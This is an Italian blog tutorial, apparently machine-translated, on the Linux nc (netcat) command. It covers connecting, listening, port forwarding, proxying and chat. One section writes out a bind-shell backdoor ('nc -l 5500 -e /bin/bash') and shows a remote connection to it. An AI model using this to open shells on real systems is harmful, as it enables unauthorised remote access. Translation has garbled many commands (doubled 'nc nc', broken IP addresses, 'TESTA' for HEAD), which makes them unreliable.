Articles

Comando NC (NCAT) per principianti

Posted by admin

Comando NC è per l’esecuzione di attività di manutenzione/diagnosi relative alla rete . Può eseguire operazioni come lettura, scrittura o reindirizzamenti dei dati sulla rete, in modo simile a come è possibile utilizzare il comando cat per manipolare i file sul sistema Linux. Comando NC può essere utilizzato come utility per la scansione di porte, monitoraggio o può anche agire come un proxy TCP di base.

Le organizzazioni possono utilizzarlo per esaminare la sicurezza della rete, i server Web, i server telnet, i server di posta e così via, controllando le porte aperte e quindi proteggendole., Il comando NC può essere utilizzato anche per acquisire informazioni inviate dal sistema.

di Lettura Consigliato : Top 7 comandi per Linux Monitoraggio del Traffico di Rete

Leggi Anche : Importante PostgreSQL comandi si deve sapere

Ora andiamo a discutere di come si può utilizzare NC comando con alcuni esempi,

Esempi per NC comando

la Connessione a un server remoto

l’esempio Seguente mostra come ci si può collegare al server remoto con nc comando,

$ nc 10.10.10.100 80

qui, 10.10.10.,100 è l’IP del server a cui vogliamo connetterci & 80 è il numero di porta per il server remoto. Una volta connesso siamo in grado di eseguire altre funzioni come si può ottenere il totale del contenuto della pagina con

GET/HTTP/1.1

o recuperare il nome della pagina,

GET/HTTP/1.1

o siamo in grado di ottenere un banner per OS fingerprinting con il seguente,

TESTA/HTTP/1.1

in Questo modo, fateci sapere quale software & versione viene utilizzato per eseguire il webserver.,

Ascoltare le richieste di connessione in ingresso

Per controllare un server per la richiesta di connessione in ingresso su un numero di porta, utilizzare il seguente esempio:

$ nc -l 8080

Ora, NC è in modalità di ascolto per verificare la porta 8080 per richieste di connessione in ingresso. Ora la modalità di ascolto continuerà a funzionare, fino a quando non sarà terminata manualmente. Ma possiamo risolvere questa opzione ‘ w ‘ per NC,

nc nc-w 10 8080

qui, 10 significa che NC ascolterà le connessioni solo per 10 secondi.,

Connessione alle porte UDP

Per impostazione predefinita, possiamo connetterci alle porte TCP con NC ma per ascoltare la richiesta in entrata fatta alle porte UDP dobbiamo usare l’opzione ‘u’ ,

nc nc-l-u 55

Usando NC per il port forwarding

Con l’opzione ‘c’ di NC, possiamo reindirizzare una porta ad un’altra. L’esempio completo è,

nc nc-u-l 8080-c ‘nc-u-l 8090’

qui, abbiamo inoltrato tutte le richieste in arrivo dalla porta 8080 alla porta 8090.

Utilizzo di NC come server proxy

Per utilizzare il comando NC come proxy, utilizzare <| p>

nc nc – l 8080 / nc 10.10.10.,200 80

qui, tutte le connessioni in entrata alla porta 8080 verranno deviate sul server 10.10.10.200 sulla porta 80.

Ora con il comando precedente, abbiamo creato solo un passaggio a senso unico. Per creare un ritorno di passaggio o 2 vie di comunicazione canale, utilizzare i seguenti comandi

$ mkfifo 2way

$ nc – l 8080 0<2way | nc 10.10.10.200 80 1>2way

Ora si avrà la capacità di inviare e ricevere informazioni su nc proxy.,

Utilizzo di NC come strumento di chat

Un’altra utility che il comando NC può servire è come strumento di chat. Sì, possiamo anche usarlo come una chat. Per crearlo, prima eseguire il seguente comando su un server,

nc nc – l 8080

Che per connettersi sulla macchina remota, eseguire

nc nc 10.10.10.100 8080

Ora possiamo iniziare la conversazione utilizzando il terminale / CLI.

Usando NC per creare una backdoor di sistema

Ora questa è l’applicazione più comune di NC & è per lo più utilizzata dagli hacker molto., Fondamentalmente questo crea una backdoor al sistema che può essere sfruttata dagli hacker (non dovresti farlo, è sbagliato).
Si deve essere consapevoli di questo per salvaguardare contro questo tipo di exploit.

comando riportato di Seguito può essere utilizzato per creare una backdoor,

$ nc -l 5500 -e /bin/bash

qui, abbiamo attaccato la porta 5500 /bin/bash, che ora può essere collegato da un computer remoto per eseguire i comandi,

$ nc 10.10.10.100 5500

Forza il server a rimanere up

Server di interrompere l’ascolto per la connessione una volta che un client di connessione è stata terminata., Ma con l’opzione ‘k’, possiamo forzare un server a rimanere in esecuzione, anche quando nessun client è connesso.

nc nc-l-k 8080

Ora finiamo questo tutorial su come utilizzare il comando NC, non esitate a inviare in tutte le domande o domande che avete riguardo a questo articolo.,

Se pensi che ci hanno aiutato o semplicemente si vuole il supporto noi, si prega di prendere in considerazione questi :-

Connetti a noi: Facebook | Twitter | Google Plus

ci dona alcuni dei vostri soldi guadagnati duri:

Linux TechLab è grato per il vostro continuo supporto.

Leave A Comment